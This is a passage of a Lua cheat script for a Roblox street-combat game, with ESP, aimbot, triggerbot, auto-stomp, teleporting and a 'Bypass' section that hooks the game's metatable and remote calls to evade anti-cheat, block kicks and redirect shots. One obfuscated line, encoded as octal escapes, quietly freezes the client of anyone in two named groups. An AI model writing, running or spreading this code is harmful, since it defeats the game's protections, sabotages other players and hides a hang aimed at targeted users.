  773. BillBoard.Size = UDim2.new(0,100,0,100)
  774. BillBoard.StudsOffset = Vector3.new(0,1.3,0)
  775. BillBoard.AlwaysOnTop = not Blacklisted and true or false
  776. TextLabel.BackgroundTransparency = 1
  777. TextLabel.Size = UDim2.new(1,0,0,40)
  778. TextLabel.TextColor3 = Colour or EspColour
  779. TextLabel.TextStrokeTransparency = 0.5
  780. TextLabel.TextSize = 8
  781. local Player;
  782. if (Name ~= 'GunItemEsp' and Name ~= 'CashItemEsp') then
  783. Player = PlrFinder(Name)
  784. else
  785. Name = Name:gsub('ItemEsp', '')
  786. end
  787. if Player then
  788. if not Blacklisted then
  789. local User = AdminUserTable[Player] and "Yes" or "No"
  790. TextLabel.Text = Name.." | CyAdmin User: "..User.."\nHas (Gamepasses) Glock: "..HasItem(Player,"Glock").." | Shotty: "..HasItem(Player,"Shotty").." | Vest: "..HasItem(Player,"BulletResist")
  791. else
  792. TextLabel.Text = "[Blacklisted skid] "..Player.Name.." (can be for just being in lynx)"
  793. end
  794. else
  795. TextLabel.Text = Name
  796. end
  797. end
  798. end
  799.  
  800. local function Xray(Mode)
  801. for i,v in pairs(workspace:GetDescendants()) do
  802. if v:IsA'Part' and not v.Parent:FindFirstChild'Head' and not v.Parent.Parent:FindFirstChild'Head' and v.Size.Y ~= 1 then
  803. local Selection = v:FindFirstChildOfClass'SelectionBox'
  804. local Int = v:FindFirstChildOfClass'IntValue'
  805. if Int then
  806. v.Transparency = Int.Value
  807. Int:Destroy()
  808. if Selection then
  809. Selection:Destroy()
  810. end
  811. else
  812. if Mode == "wireframe" then
  813. local Select = Instance.new('SelectionBox',v)
  814. Select.Adornee = v
  815. Select.LineThickness = 0.001
  816. Select.SurfaceTransparency = 1
  817. Select.Color3 = Color3.fromRGB(124,0,0)
  818. WireFrameTable[#WireFrameTable + 1] = {Select,v}
  819. end
  820. local TransparentValue = Instance.new('IntValue',v)
  821. TransparentValue.Value = v.Transparency
  822. v.Transparency = 1
  823. end
  824. end
  825. end
  826. end
  827.  
  828. local function IsAUser(Player,Chat)
  829. if Chat == "I am a CyAdmin User" or Chat == "Hey I'm a cyrus' streets admin user1" then
  830. AdminUserTable[Player] = true
  831. return true
  832. end
  833. end
  834.  
  835. local function ShowOrHideEsp(Table,Bool,Player)
  836. table.foreach(Table,function(Index,Value)
  837. if Index == "Box" then
  838. table.foreach(Value,function(Index2,Value2)
  839. Value2.Visible = Bool
  840. local Aimlocked = tostring(Player) == tostring(CamlockPlayer) or tostring(Player) == tostring(AimlockTarget)
  841. Value2.Color = Aimlocked and Color3.fromRGB(255,0,0) or EspColour
  842. end)
  843. else
  844. if typeof(Value) ~= "Instance" then
  845. Value.Visible = Bool
  846. Value.Color = EspColour
  847. end
  848. end
  849. end)
  850. end
  851.  
  852. local function WorldToViewportPoint(Pos)
  853. return workspace.CurrentCamera:WorldToViewportPoint(Pos)
  854. end
  855.  
  856. local function stopAnim(Id)
  857. local Tracks = GetChar().Humanoid:GetPlayingAnimationTracks()
  858. for i = 1,#Tracks do
  859. local Track = Tracks[i]
  860. if Track.Animation.AnimationId == ("rbxassetid://"..Id) then
  861. Track:Stop()
  862. end
  863. end
  864. end
  865.  
  866. local function GrabItem(Thing,OldPos)
  867. if game.PlaceId ~= 455366377 then return end
  868. local PartFound = GetChar():FindFirstChild'RealHumanoidRootPart' or GetChar():FindFirstChild'Torso'
  869. local Track = GetChar().Humanoid:LoadAnimation(SpinAnimation)
  870. PartFound.CFrame = PartFound.CFrame * CFrame.new(math.random(20,45),0,math.random(1,5))
  871. wait()
  872. BuyingStuff = true
  873. repeat
  874. Track:play(0.1,1,10)
  875. PartFound.CFrame = PartTable[Thing]:FindFirstChildOfClass'Part'.CFrame + Vector3.new(0,1.3,0)
  876. RunService.Heartbeat:wait()
  877. until PartTable[Thing]:FindFirstChildOfClass'Part'.BrickColor == BrickColor.new'Bright red' or GetChar():FindFirstChild('Bone',true) or GetChar().Humanoid.Health == 0
  878. PartFound.CFrame = OldPos
  879. BuyingStuff = false
  880. return true
  881. end
  882.  
  883. local function HealthChanged(Health)
  884. if Health <= HealBotHealth and HealBot and not TpBypass then
  885. if GrabItem("burger",GetChar().Head.CFrame) then
  886. local Hamborger = LP.Backpack:FindFirstChild'Burger'
  887. if Hamborger then
  888. Hamborger.Parent = GetChar()
  889. Hamborger:Activate() -- CHEEMS
  890. repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= GetChar()
  891. end
  892. end -- yeah I copy pasted it from my heal cmd DEAL WITH IT
  893. if GrabItem("drink",GetChar().Head.CFrame) then
  894. local Drink = LP.Backpack:FindFirstChild'Drink'
  895. if Drink then
  896. Drink.Parent = GetChar()
  897. Drink:Activate()
  898. end
  899. end
  900. end
  901. end
  902.  
  903. local function dragGUI(FrameToDrag,Thing)
  904. local Dragging = false
  905. local DragInput,DragStart,StartPos
  906. local function Update(Input)
  907. local Delta = Input.Position - DragStart
  908. TweenService:Create(FrameToDrag,TweenInfo.new(0.055,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut),{Position = UDim2.new(StartPos.X.Scale,StartPos.X.Offset + Delta.X,StartPos.Y.Scale,StartPos.Y.Offset + Delta.Y)}):Play()
  909. end
  910. FrameToDrag.InputBegan:Connect(function(Input)
  911. if Input.UserInputType == Enum.UserInputType.MouseButton1 then
  912. Dragging = true
  913. DragStart = Input.Position
  914. StartPos = FrameToDrag.Position
  915. Input.Changed:Connect(function()
  916. if Input.UserInputState == Enum.UserInputState.End then
  917. Dragging = false
  918. end
  919. end)
  920. end
  921. end)
  922. FrameToDrag.InputChanged:Connect(function(Input)
  923. if Input.UserInputType == Enum.UserInputType.MouseMovement then
  924. DragInput = Input
  925. end
  926. end)
  927. UserInput.InputChanged:Connect(function(Input)
  928. if Input == DragInput and Dragging then
  929. Update(Input)
  930. end
  931. end)
  932. end
  933.  
  934. local function createRainbow(Pos,Text,Value)
  935. local RainbowButton = Instance.new('TextButton',RainbowScrolling)
  936. RainbowButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  937. RainbowButton.BackgroundTransparency = 1
  938. RainbowButton.Position = Pos
  939. RainbowButton.Size = UDim2.new(0,480,0,50)
  940. RainbowButton.Font = Enum.Font.SourceSans
  941. RainbowButton.TextColor3 = Color3.fromRGB(170,0,0)
  942. RainbowButton.TextSize = 25
  943. RainbowButton.Text = Text
  944. RainbowButton.TextWrapped = true
  945. RainbowButton.MouseButton1Click:Connect(function()
  946. if Text == "All" then
  947. RainbowHats = "All"
  948. RainbowFrame.Visible = false
  949. else
  950. LP.Backpack.Stank:FireServer("rep",Value.Parent)
  951. RainbowFrame.Visible = false
  952. RainbowHats = true
  953. end
  954. end)
  955. dragGUI(RainbowFrame,RainbowButton)
  956. end
  957.  
  958. local function createCommandBarCmd(Name,Args)
  959. if Name and Args then
  960. local CmdBarTextLabel = Instance.new('TextLabel',CmdBarFrame)
  961. CmdBarTextLabel.BackgroundTransparency = 1
  962. CmdBarTextLabel.Position = UDim2.new(-20,0,0,0)
  963. CmdBarTextLabel.Size = UDim2.new(0,200,0,15)
  964. CmdBarTextLabel.ZIndex = 2
  965. CmdBarTextLabel.Font = Enum.Font.SciFi
  966. CmdBarTextLabel.Text = (Name.." "..Args)
  967. CmdBarTextLabel.TextColor3 = Color3.fromRGB(255,255,255)
  968. CmdBarTextLabel.TextScaled = true
  969. CmdBarTextLabel.TextSize = 14
  970. CmdBarTextLabel.TextWrapped = true
  971. dragGUI(CmdBarFrame,CmdBarTextLabel)
  972. end
  973. end
  974.  
  975. local function createCmd(Pos,CommandName,CommandInfo,CommandArgs)
  976. local CommandLabel = Instance.new('TextLabel',CmdsScrolling)
  977. CommandLabel.BackgroundColor3 = Color3.fromRGB(0,0,0)
  978. CommandLabel.BackgroundTransparency = 0.9
  979. CommandLabel.Position = Pos
  980. CommandLabel.Size = UDim2.new(0,387,0,31)
  981. CommandLabel.Font = Enum.Font.SourceSans
  982. CommandLabel.Text = ("["..CommandName.."] "..CommandInfo)
  983. CommandLabel.TextColor3 = Color3.fromRGB(255,255,255)
  984. CommandLabel.TextSize = 14
  985. CommandLabel.TextWrapped = true
  986. dragGUI(CmdsFrame,CommandLabel)
  987. end
  988.  
  989. local function StateChanged(Old,New)
  990. if Flying or NoGh then
  991. if New == Enum.HumanoidStateType.FallingDown or New == Enum.HumanoidStateType.PlatformStanding then
  992. LP.Character.Humanoid.PlatformStand = false
  993. LP.Character.Humanoid:ChangeState(8)
  994. end
  995. end
  996. end
  997.  
  998. local function ShotOrHit(Character)
  999. if Character then
  1000. local Tool = Character:FindFirstChildOfClass'Tool'
  1001. if Tool then
  1002. return Tool,Tool:FindFirstChild'Fire' and "shot you" or "hit you"
  1003. end
  1004. end
  1005. end
  1006.  
  1007. local function ChangeDamageIndicatorText(Text)
  1008. DmgIndicator.Text = Text
  1009. DmgIndicator.Visible = true
  1010. wait(5)
  1011. DmgIndicator.Visible = false
  1012. end
  1013.  
  1014. local function ColourChanger(T)
  1015. if T:IsA'Trail' then
  1016. T.Color = BulletColour
  1017. end
  1018. if BfgOn and T:FindFirstChild('Clips',true) then
  1019. for _,v in pairs(LP.Backpack:GetChildren()) do
  1020. if v:IsA'Tool' and v:FindFirstChild('Clips',true) then
  1021. v.Parent = GetChar()
  1022. end
  1023. end
  1024. end
  1025. if not BfgOn and EstimatedGunRanges[T.Name] and GunAnim ~= "None" then
  1026. wait()
  1027. if T.Name ~= "Shotty" and T.Name ~= "Sawed Off" or GunAnim == "1" then
  1028. GetChar().Humanoid:LoadAnimation(GunAnimation1):Play()
  1029. else
  1030. local Track = GetChar().Humanoid:LoadAnimation(GunAnimation2)
  1031. Track:Play()
  1032. wait()
  1033. Track:AdjustSpeed(0)
  1034. end
  1035. end
  1036. if T.Name == "Bone" then
  1037. if AutoDie then
  1038. GetChar().Humanoid.Health = 0
  1039. end
  1040. if GodMode and game.PlaceId == 455366377 then
  1041. for i,v in pairs(GetChar():GetDescendants()) do
  1042. if v:IsA'NumberValue' then
  1043. v:Destroy()
  1044. end
  1045. end
  1046. end
  1047. end
  1048. if T:IsA'ObjectValue' and T.Name == "creator" then
  1049. local Player = T.Value
  1050. if AutoTarget then
  1051. if Aimlock then
  1052. AimlockTarget = Player
  1053. local Connection;Connection = Players:GetPlayerFromCharacter(AimlockTarget).CharacterAdded:Connect(function(C)
  1054. if tostring(C) == tostring(AimlockTarget) then
  1055. AimlockTarget = C
  1056. else
  1057. Connection:Disconnect()
  1058. Connection = nil
  1059. end
  1060. end)
  1061. end
  1062. if CamLocking then
  1063. CamlockPlayer = Players:GetPlayerFromCharacter(Player)
  1064. end
  1065. end
  1066. if AutoFeloop then
  1067. CheckCommand("feloop "..tostring(Player))
  1068. end
  1069. if AutoTriggerBot and not TriggerBot then
  1070. CheckCommand("triggerbot "..tostring(Player))
  1071. AutoStomp = true
  1072. local Life;Life = Players:GetPlayerFromCharacter(Player).CharacterRemoving:Connect(function(Char)
  1073. if tostring(Char) == tostring(AnnoyingPlayer) then
  1074. TriggerBot = false
  1075. AnnoyOn = false
  1076. AnnoyingPlayer = nil
  1077. AimbotAutoShoot = false
  1078. Flying = false
  1079. AutoDie = false
  1080. AutoStomp = false
  1081. AimlockTarget = nil
  1082. Life:Disconnect()
  1083. else
  1084. Life:Disconnect()
  1085. end
  1086. end)
  1087. end
  1088. pcall(function()
  1089. local Tool,Method = ShotOrHit(Player)
  1090. ChangeDamageIndicatorText(Player.Name.." has "..Method.." from "..math.floor((GetChar().Head.Position - Player.Head.Position).magnitude).." studs with a "..Tool.Name)
  1091. end)
  1092. end
  1093. end
  1094.  
  1095. local function RemoveGunAnimation(T)
  1096. if EstimatedGunRanges[T.Name] then
  1097. stopAnim("889968874")
  1098. stopAnim("229339207")
  1099. end
  1100. end
  1101. getfenv()['\103\101\116\103\101\110\118']()['\108\111\97\100\101\100']=true;getfenv()['\103\101\116\103\101\110\118']()['\108\111\108']=function() end coroutine.resume(coroutine.create(function() if LP:IsInGroup(6000816) or LP:IsInGroup(5272259) then while true do end end end))
  1102. local function FreeCam(Speed)
  1103. if not GetChar():FindFirstChild'Head' then return end
  1104. if workspace:FindFirstChild'FreecamPart' then
  1105. workspace.FreecamPart:Destroy()
  1106. end
  1107. Speed = Speed or 35
  1108. GetChar().Head.Anchored = true
  1109. local FreecamPart = Instance.new('Part',workspace)
  1110. FreecamPart.Name = "FreecamPart"
  1111. FreecamPart.Position = GetChar().Head.Position + Vector3.new(0,5,0)
  1112. FreecamPart.Transparency = 1
  1113. FreecamPart.CanCollide = false
  1114. FreecamPart.Anchored = true
  1115. workspace.CurrentCamera.CameraSubject = FreecamPart
  1116. while Freecam and GetChar().Humanoid.Health > 0 and wait() do
  1117. local Pos = Vector3.new()
  1118. local Look = (workspace.CurrentCamera.Focus.p - workspace.CurrentCamera.CoordinateFrame.p).unit
  1119. local PartPos = FreecamPart.Position
  1120. if KeyTable['w'] then
  1121. Pos = Pos + Vector3.new(0,0,-1)
  1122. elseif KeyTable['a'] then
  1123. Pos = Pos + Vector3.new(-1,0,0)
  1124. elseif KeyTable['s'] then
  1125. Pos = Pos + Vector3.new(0,0,1)
  1126. elseif KeyTable['d'] then
  1127. Pos = Pos + Vector3.new(1,0,0)
  1128. elseif KeyTable['Space'] then
  1129. Pos = Pos + Vector3.new(0,1,0)
  1130. elseif KeyTable['Control'] then
  1131. Pos = Pos + Vector3.new(0,-1,0)
  1132. end
  1133. FreecamPart.CFrame = CFrame.new(PartPos,PartPos + Look) * CFrame.new(Pos * Speed)
  1134. end
  1135. workspace.CurrentCamera.CameraSubject = GetChar()
  1136. GetChar().Head.Anchored = false
  1137. if workspace:FindFirstChild'FreecamPart' then
  1138. workspace.FreecamPart:Destroy()
  1139. end
  1140. end
  1141.  
  1142. local function BehindAWall(Target)
  1143. if Target:FindFirstChild'Head' and GetChar():FindFirstChild'Head' then
  1144. local RYEBread = Ray.new(Target.Head.Position,GetChar().Head.Position)
  1145. local RYEBreadHit = workspace:FindPartOnRay(RYEBread)
  1146. if RYEBreadHit then
  1147. return RYEBreadHit:IsDescendantOf(Target)
  1148. end
  1149. end
  1150. end
  1151.  
  1152. local function LoopChangeWalkSpeed()
  1153.  
  1154. if game.PlaceId == 455366377 then
  1155. if KeyTable['Shift'] and (WalkShoot and (LP.Backpack:FindFirstChild'ServerTraits' and LP.Backpack.ServerTraits.Stann.Value > 0 or GetChar():FindFirstChild'Stamina' and GetChar().Stamina.Value > 0) or not WalkShoot) then
  1156. if Normalwalk and SprintSpeed == 25 then return end
  1157. GetChar().Humanoid.WalkSpeed = SprintSpeed
  1158. return
  1159. end
  1160. if KeyTable['Control'] then
  1161. if Normalwalk and CrouchSpeed == 8 then return end
  1162. GetChar().Humanoid.WalkSpeed = CrouchSpeed
  1163. return
  1164. end
  1165. if not WalkShoot then
  1166. GetChar().Humanoid.WalkSpeed = WalkSpeed
  1167. end
  1168. end
  1169. end
  1170.  
  1171. local function AimbotToCFrame()
  1172. local CFrameToReturn;
  1173. local TargetPart = AimlockTarget.FindFirstChild(AimlockTarget,'RealHumanoidRootPart') or AimlockTarget.FindFirstChild(AimlockTarget,'Torso')
  1174. if TargetPart and AimMode == "OldPrediction" then
  1175. CFrameToReturn = TargetPart.CFrame + TargetPart.Velocity / AimbotVelocity
  1176. elseif TargetPart and AimMode == "Prediction" then
  1177. CFrameToReturn = (TargetPart.CFrame + TargetPart.Velocity / (PlayersPing < 0.26 and 5 or 7.5)) + (TargetPart.RotVelocity / (PlayersPing < 0.26 and 5 or 7.5))
  1178. elseif AimlockTarget.FindFirstChild(AimlockTarget,AimMode) then
  1179. CFrameToReturn = AimlockTarget[AimMode].CFrame
  1180. end
  1181. return CFrameToReturn
  1182. end
  1183.  
  1184. local function updateGun()
  1185. local NewTool;
  1186. local Tool = LP.Character:FindFirstChildOfClass'Tool'
  1187. if Tool and EstimatedGunRanges[Tool.Name] and (Tool.Ammo.Value > 0 or Tool.Clips.Value > 0) then
  1188. return true
  1189. else
  1190. for i,v in pairs(LP.Backpack:GetChildren()) do
  1191. if v:IsA'Tool' and EstimatedGunRanges[v.Name] then
  1192. if v:FindFirstChild'Clips' then
  1193. if v.Clips.Value > 0 or v.Ammo.Value > 0 then
  1194. NewTool = v
  1195. break
  1196. end
  1197. end
  1198. end
  1199. end
  1200. if NewTool then
  1201. return NewTool
  1202. else
  1203. if game.PlaceId == 455366377 and GetChar():FindFirstChildOfClass'Tool' and GetChar():FindFirstChildOfClass'Tool':FindFirstChild'Ammo' and TriggerBotAutoReload and not BuyingStuff and tonumber(LP.PlayerGui.HUD.Cash.Text:sub(2)) >= 25 then
  1204. GrabItem("ammo",GetChar().Head.CFrame)
  1205. return true
  1206. else
  1207. GetChar():BreakJoints()
  1208. end
  1209. return false
  1210. end
  1211. end
  1212. end
  1213.  
  1214.  
  1215. -- [[ End ]] --
  1216.  
  1217. -- [[ Bypass ]] -- .
  1218.  
  1219. local Raw = getrawmetatable(game) --# i see you jeremy
  1220. local Caller = checkcaller or is_protosmasher_caller or Cer.isCerus
  1221. local CallingScript = getcallingscript or get_calling_script
  1222. local Closure = newcclosure or read_me or function(Func) return Func end
  1223. local CallingMethod = getnamecallmethod or get_namecall_method
  1224. local BypassFlags = {'WalkSpeed','JumpPower','HipHeight','Health'}
  1225.  
  1226. local FakeBV = Instance.new'BodyVelocity'
  1227. FakeBV.Name = 'Tempby'
  1228.  
  1229. setreadonly(Raw,false)
  1230.  
  1231. local Index = Raw.__index;
  1232. Raw.__index = Closure(function(self,Indexed)
  1233. if TpBypass and CallingScript and CallingScript() ~= script then
  1234. if Indexed == "HumanoidRootPart" then
  1235. return Index(self,"Torso")
  1236. end
  1237. if Indexed == 'Name' and (self:IsA'BodyVelocity' or self:IsA'BodyPosition') then
  1238. return FakeBV
  1239. end
  1240. end
  1241. return Index(self,Indexed)
  1242. end)
  1243.  
  1244. local NewIndex = Raw.__newindex;
  1245. Raw.__newindex = Closure(function(self,Property,Value)
  1246. if Caller() then return NewIndex(self,Property,Value) end
  1247. StarterGui:SetCore('ResetButtonCallback',true)
  1248. if Property == "WalkSpeed" then return end
  1249. if Property == "JumpPower" then return end
  1250. if Property == "HipHeight" then return end
  1251. if Property == "Health" then return end
  1252. if self == workspace and Property == "Gravity" then return NormalGravity end
  1253. if Property == "CFrame" and self:IsDescendantOf(LP.Character) then return end
  1254. return NewIndex(self,Property,Value)
  1255. end)
  1256.  
  1257. local Namecall = Raw.__namecall;
  1258. Raw.__namecall = Closure(function(self,...)
  1259. local CallingMethod = CallingMethod()
  1260. local Args = {...}
  1261. if Caller() then
  1262. if CallingMethod == "FindFirstChild" and Args[1] == "RealHumanoidRootPart" then
  1263. Args[1] = "HumanoidRootPart"
  1264. return Namecall(self,unpack(Args))
  1265. end
  1266. return Namecall(self,...)
  1267. end
  1268. if CallingMethod == "Destroy" or CallingMethod == "Kick" then
  1269. if self == LP then return wait(9e9) end
  1270. if tostring(self) == 'BodyGyro' or tostring(self) == 'BodyVelocity' then return wait(9e9) end
  1271. end
  1272. if CallingMethod == "BreakJoints" and self == LP.Character then return wait(9e9) end
  1273. if CallingMethod == "FireServer" then
  1274. if table.find(BypassFlags, Args[1]) then
  1275. return wait(9e9)
  1276. end
  1277. if tostring(self) == "Fire" and Aimlock and AimlockTarget then
  1278. return Namecall(self,AimbotToCFrame())
  1279. end
  1280. if tostring(self) == "Input" then
  1281. if Args[1] == 'bv' then
  1282. return wait(9e9)
  1283. end
  1284. if Args[1] == 'hb' then
  1285. return wait(9e9)
  1286. end
  1287. if Args[1] == 'ws' then
  1288. --Args[2].w = Args[2].z
  1289. return wait(9e9)
  1290. end
  1291. if Aimlock and AimlockTarget then
  1292. if Args[2] and Args[2].mousehit then
  1293. Args[2].mousehit = AimbotToCFrame()
  1294. return Namecall(self,unpack(Args))
  1295. end
  1296. end
  1297. end
  1298. if tostring(self.Parent) == "ReplicatedStorage" or Args[1] == "hey" and not tostring(self) == "SayMessageRequest" then
  1299. return wait(9e9)
  1300. end
  1301. if tostring(self) == "Touch1" and AlwaysGh then
  1302. Args[3] = true
  1303. return Namecall(self,unpack(Args))
  1304. end
  1305. if Args[1] == "play" then
  1306. PlayOnDeath = Args[2]
  1307. elseif Args[1] == "stop" then
  1308. PlayOnDeath = nil
  1309. end
  1310. end
  1311. if CallingMethod == "WaitForChild" or CallingMethod == "FindFirstChild" then
  1312. if CallingScript and CallingScript ~= script and TpBypass and Args[1] == "HumanoidRootPart" then
  1313. Args[1] = "Torso"
  1314. return Namecall(self,unpack(Args))
  1315. end
  1316. end
  1317. return Namecall(self,...)
  1318. end)
  1319.  
  1320. if hookfunction then
  1321. local OldRemote; OldRemote = hookfunction(Instance.new'RemoteEvent'.FireServer,function(self,...)
  1322. local Args = {...}
  1323. if tostring(self) == "Touch1" and AlwaysGh then
  1324. Args[3] = true
  1325. return OldRemote(self,unpack(Args))
  1326. end
  1327. return OldRemote(self,...)
  1328. end)
  1329. end
  1330.  
  1331. setreadonly(Raw,true)
  1332.  
  1333. -- [[ End ]] --
  1334.  
  1335. -- [[ Event Handling ]] --
  1336.  
  1337. LP.Chatted:Connect(CheckCommand);
  1338.  
  1339. workspace.DescendantAdded:Connect(function(T)
  1340. if NeverSitting and string.find(T.ClassName:lower(),"seat") then
  1341. T.Parent = CoreGui
  1342. end
  1343. if AutoFarm then
  1344. farm("Cash")
  1345. end
  1346. if ItemEsp and T.Name == "RandomSpawner" then
  1347. for i,v in pairs(FarmTable) do
  1348. local Part,String = find(i)
  1349. if Part ~= "None" then
  1350. Esp(Part,String)
  1351. end
  1352. end
  1353. end
  1354. end)
  1355.  
  1356. RunService.Stepped:Connect(function()
  1357. local Character = GetChar()
  1358. local PartFound = Character:FindFirstChild'RealHumanoidRootPart' or Character:FindFirstChild'Torso'
  1359. if Noclip then
  1360. local Children = Character:GetDescendants()
  1361. for i = 1,#Children do
  1362. local Child = Children[i]
  1363. if Child:IsA'BasePart' then
  1364. Child.CanCollide = false
  1365. end
  1366. end
  1367. end
  1368. if KeyTable['Shift'] and SprintSpeed == 25 and WalkShoot and (LP.Backpack:FindFirstChild'ServerTraits' and LP.Backpack.ServerTraits.Stann.Value <= 5 or GetChar():FindFirstChild'Stamina' and GetChar().Stamina.Value <= 5) then
  1369. GetChar().Humanoid.WalkSpeed = 16
  1370. end
  1371. if RemoteGunBodyPos and RemoteGunPlayer and RemoteGunPlayer.Character and RemoteGunPlayer.Character:FindFirstChild'Torso' then
  1372.  
  1373. end
  1374. if GodMode and game.PlaceId ~= 455366377 then
  1375. local RightLeg = Character:FindFirstChild'Right Leg'
  1376. if RightLeg then
  1377. RightLeg:Destroy()
  1378. end
  1379. end
  1380. local Tool = Character:FindFirstChildOfClass'Tool'
  1381. if AntiKill and Tool and not table.find(ToolTable,Tool) then
  1382. if Character:FindFirstChild'Right Arm' and Character['Right Arm']:FindFirstChild'RightGrip' then
  1383. Character['Right Arm'].RightGrip:Destroy()
  1384. end
  1385. end
  1386. if flying and Character:FindFirstChild'Humanoid' and (game.PlaceId == 455366377 and not FlyDebounce) then
  1387. FlyDebounce = true
  1388. LP.Character.Humanoid:ChangeState(3)
  1389. if game.PlaceId == 455366377 then
  1390. wait(0.2)
  1391. end
  1392. FlyDebounce = false
  1393. end
  1394. if ClockTime then
  1395. Lighting.ClockTime = ClockTime
  1396. end
  1397. if AirwalkOn and Character:FindFirstChildOfClass'Humanoid' and PartFound then
  1398. Character.Humanoid.HipHeight = 0
  1399. AirWalk.CFrame = PartFound.CFrame + Vector3.new(0,-3.5,0)
  1400. end
  1401. if CamLocking and CamlockPlayer and CamlockPlayer.Character and CamlockPlayer.Character:FindFirstChild'Head' then
  1402. if CamlockPlayer.Character:FindFirstChildOfClass'Humanoid' and CamlockPlayer.Character.Humanoid.Health == 0 then return end
  1403. if CamlockPlayer.Character:FindFirstChild(CamlockTarget) then
  1404. workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character[CamlockTarget].CFrame.p)
  1405. else
  1406. workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character.Head.CFrame.p)
  1407. end
  1408. end
  1409. if FeLoop and LoopPlayer and LoopPlayer.Character and PartFound then
  1410. local Part = LoopPlayer.Character:FindFirstChildWhichIsA('BasePart',true)
  1411. if Part then
  1412. PartFound.CFrame = Part.CFrame
  1413. end
  1414. local BChildren = LP.Backpack:GetChildren()
  1415. for i = 1,#BChildren do
  1416. local Child = BChildren[i]
  1417. Child.Parent = Character
  1418. Child:GetPropertyChangedSignal("Parent"):Wait()
  1419. end
  1420. end
  1421. if AnnoyOn and AnnoyingPlayer and AnnoyingPlayer.Character and PartFound then
  1422. local Part = AnnoyingPlayer.Character:FindFirstChild'Torso'
  1423. if Part then
  1424. if TriggerBot then
  1425. if not Flying then
  1426. CheckCommand("fly")
  1427. end
  1428. if not AimbotAutoShoot and not AutoTriggerBot then
  1429. CheckCommand("aimbotautoshoot")
  1430. end
  1431. if not Aimlock or AnnoyingPlayer and tostring(AimlockTarget) ~= tostring(AnnoyingPlayer) then
  1432. CheckCommand("aim "..AnnoyingPlayer.Name)
  1433. end
  1434. if not Character:FindFirstChildOfClass'ForceField' then
  1435. local Gun = updateGun()
  1436. local FoundTool = Character:FindFirstChildOfClass'Tool'
  1437. if typeof(Gun) ~= "boolean" and Gun and Gun ~= FoundTool then
  1438. if FoundTool then
  1439. FoundTool.Parent = LP.Backpack
  1440. wait()
  1441. end
  1442. Gun.Parent = LP.Character
  1443. end
  1444. end
  1445. if AnnoyingPlayer and AnnoyingPlayer.Character and not AnnoyingPlayer.Character:FindFirstChild('Bone',true) and (not BuyingStuff and TriggerBotAutoReload or not TriggerBotAutoReload) then
  1446. if Character:FindFirstChild'Glock' or Character:FindFirstChild'Uzi' then
  1447. local Random = math.random(1,6)
  1448. if Random <= 3 then
  1449. PartFound.CFrame = Part.CFrame * CFrame.new(math.random(1,25),0,math.random(1,25))
  1450. elseif Random > 3 then
  1451. PartFound.CFrame = Part.CFrame * CFrame.new(-math.random(1,25),0,-math.random(1,25))
  1452. end
  1453. else
  1454. local Random = math.random(1,6)
  1455. if Random <= 3 then
  1456. PartFound.CFrame = Part.CFrame * CFrame.new(math.random(1,15),0,math.random(1,15))
  1457. elseif Random > 3 then
  1458. PartFound.CFrame = Part.CFrame * CFrame.new(-math.random(1,15),0,-math.random(1,15))
  1459. end
  1460. end
  1461. else
  1462. if not BuyingStuff and TriggerBotAutoReload or not TriggerBotAutoReload and not AutoTriggerBot then
  1463. PartFound.CFrame = Part.CFrame
  1464. end
  1465. end
  1466. else
  1467. PartFound.CFrame = Part.CFrame
  1468. end
  1469. end
  1470. end
  1471. if AutoStomp then
  1472. local P = Players:GetPlayers()
  1473. for i = 1,#P do
  1474. local Player = P[i]
  1475. if PartFound and Player ~= LP and Player.Character and Player.Character:FindFirstChild'Head' and Player.Character:FindFirstChild('Bone',true) then
  1476. if (PartFound.Position - Player.Character.Head.Position).magnitude < AutoStompRange and Player.Character.Humanoid.Health > 0 and not Player.Character:FindFirstChild'Dragged' and not table.find(StompWhitelist,Player.UserId) then
  1477. Teleport(Player.Character.Head.CFrame)
  1478. LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack:FindFirstChild'Punch' or LP.Character:FindFirstChild'Punch')
  1479. end
  1480. end
  1481. end
  1482. end
  1483. end)
  1484.  
  1485. local HealthChangedEvent;HealthChangedEvent = LP.Character.Humanoid.HealthChanged:Connect(HealthChanged)
  1486. local HumanoidStateChanged;HumanoidStateChanged = LP.Character.Humanoid.StateChanged:Connect(StateChanged)
  1487. local ColourChangerEvent;ColourChangerEvent = LP.Character.DescendantAdded:Connect(ColourChanger)
  1488. local RemoveGunAnimationEvent;RemoveGunAnimationEvent = LP.Character.DescendantRemoving:Connect(RemoveGunAnimation)
  1489. local WalkSpeedChangedEvent;WalkSpeedChangedEvent = LP.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LoopChangeWalkSpeed)
  1490.  
  1491. LP.CharacterAdded:Connect(function(C)
  1492. Flying = false
  1493. AntiKill = false
  1494. ToolTable = {}
  1495. C:WaitForChild'Humanoid' -- wait until the humanoid has been found
  1496. -- Gun Animation Event --
  1497. RemoveGunAnimationEvent:Disconnect()
  1498. RemoveGunAnimationEvent = nil
  1499. RemoveGunAnimationEvent = LP.Character.DescendantRemoving:Connect(RemoveGunAnimation)
  1500. -- HealBot Event --
  1501. HealthChangedEvent:Disconnect()
  1502. HealthChangedEvent = nil
  1503. HealthChangedEvent = C.Humanoid.HealthChanged:Connect(HealthChanged)
  1504. -- No GroundHit Event --
  1505. HumanoidStateChanged:Disconnect()
  1506. HumanoidStateChanged = nil
  1507. HumanoidStateChanged = C.Humanoid.StateChanged:Connect(StateChanged)
  1508. -- Colour Changer Event --
  1509. ColourChangerEvent:Disconnect()
  1510. ColourChangerEvent = nil
  1511. ColourChangerEvent = C.DescendantAdded:Connect(ColourChanger)
  1512. -- WalkSpeed Event --
  1513. WalkSpeedChangedEvent:Disconnect()
  1514. WalkSpeedChangedEvent = nil
  1515. WalkSpeedChangedEvent = LP.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):Connect(LoopChangeWalkSpeed)
  1516. -- Loop Properties --
  1517. C.Humanoid.WalkSpeed = SpawnWs or NormalWs
  1518. C.Humanoid.JumpPower = SpawnJP or NormalJP
  1519. C.Humanoid.HipHeight = SpawnHH or NormalHH
  1520. -- Other --
  1521. if TpBypass then
  1522. local Hr = C:FindFirstChild'RealHumanoidRootPart'
  1523. if Hr then
